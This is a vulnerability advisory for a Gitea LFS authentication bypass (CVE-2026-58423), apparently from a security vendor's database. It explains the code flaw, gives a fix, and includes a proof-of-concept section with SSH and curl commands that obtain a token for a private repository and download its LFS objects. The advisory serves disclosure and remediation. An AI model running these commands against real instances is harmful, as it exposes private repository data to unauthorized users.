Summary
Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories
A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.
Details
In cmd/serv.go, the getAccessMode function determines the required access level for SSH operations. For LFS verbs (git-lfs-authenticate, git-lfs-transfer), it switches on the sub-verb (upload/download). If the sub-verb is neither, execution falls through to:
setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb)
return perm.AccessModeNone
In production (IsProd=true), PanicInDevOrTesting only logs an error and does not panic. AccessModeNone (value 0) is then passed to ServCommand in routers/private/serv.go, where the permission check block at line ~322 evaluates:
if repoExist &&
(mode > perm.AccessModeRead ||
repo.IsPrivate ||
owner.Visibility.IsPrivate() ||
(user != nil && user.IsRestricted) ||
setting.Service.RequireSignInViewStrict) {
...
if userMode < mode { // userMode < 0 is always false
// deny access
}
}
For private repositories, repo.IsPrivate triggers the permission check block, but userMode < mode evaluates to userMode < 0, which is always false, access is granted regardless of the user's actual permissions.
The function then returns successfully, and runServ generates a valid LFS JWT token with Op: "badverb". On the HTTP LFS side (services/lfs/server.go:599), the Op field is only validated for write operations:
if mode == perm_model.AccessModeWrite && claims.Op != "upload" {
return nil, errors.New("invalid token claim")
}
Download operations do not check Op, so the attacker's token is accepted for all LFS read operations.
PoC
Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: admin (owns a private repo with LFS objects) and attacker (a regular user with an SSH key, no access to the private repo).
# 1. Verify attacker has NO access via normal LFS authenticate
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download"
# Output: "User: attacker is not authorized to read admin/private-repo."
# 2. EXPLOIT: Use malformed sub-verb to bypass permission check
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb"
# Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"}
# 3. Use stolen token to request LFS object download
curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \
-H "Content-Type: application/vnd.git-lfs+json" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Authorization: Bearer eyJ..." \
-d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}'
# Returns download URL with valid authorization header
# 4. Download private LFS content
curl -H "Authorization: Bearer eyJ..." \
"https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>"
# Returns the private LFS object content
Impact
Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from any private repository on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).
The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.
CVE-2026-58423 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.26.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate the LFS sub-verb before calling getAccessMode, or return an error instead of AccessModeNone for unknown verbs:
case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:
switch lfsVerb {
case git.CmdSubVerbLfsUpload:
return perm.AccessModeWrite
case git.CmdSubVerbLfsDownload:
return perm.AccessModeRead
default:
return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb)
}
Frequently Asked Questions
- What is CVE-2026-58423? CVE-2026-58423 is a high-severity improper authentication vulnerability in code.gitea.io/gitea (go), affecting versions >= 1.23.0, < 1.26.3. It is fixed in 1.26.3. The application does not adequately verify the identity of a user, device, or process before granting access.
- How severe is CVE-2026-58423? CVE-2026-58423 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.gitea.io/gitea are affected by CVE-2026-58423? code.gitea.io/gitea (go) versions >= 1.23.0, < 1.26.3 is affected.
- Is there a fix for CVE-2026-58423? Yes. CVE-2026-58423 is fixed in 1.26.3. Upgrade to this version or later.
- Is CVE-2026-58423 exploitable, and should I be worried? Whether CVE-2026-58423 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-58423 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-58423? Upgrade
code.gitea.io/giteato 1.26.3 or later.